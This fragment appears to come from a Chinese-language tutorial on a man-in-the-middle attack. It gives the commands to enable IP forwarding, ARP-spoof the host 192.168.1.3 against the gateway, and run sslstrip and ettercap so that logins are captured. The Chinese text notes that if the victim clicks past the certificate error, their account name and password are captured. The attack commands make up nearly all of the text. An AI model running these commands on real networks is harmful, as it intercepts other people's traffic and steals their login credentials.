``` 开启一个新的终端 ```bash sslstrip -a -f -k ``` 开启一个新的终端 ```bash ettercap -Tq -i eth0 ``` > 此时如果192.168.1.3在登录https网站，目标主机就会出现证书错误，如果选择了继续，账号密码就会被<kbd>ettercap</kbd>获取到 > ...

echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 192.168.1.3 192.168.1.1 ...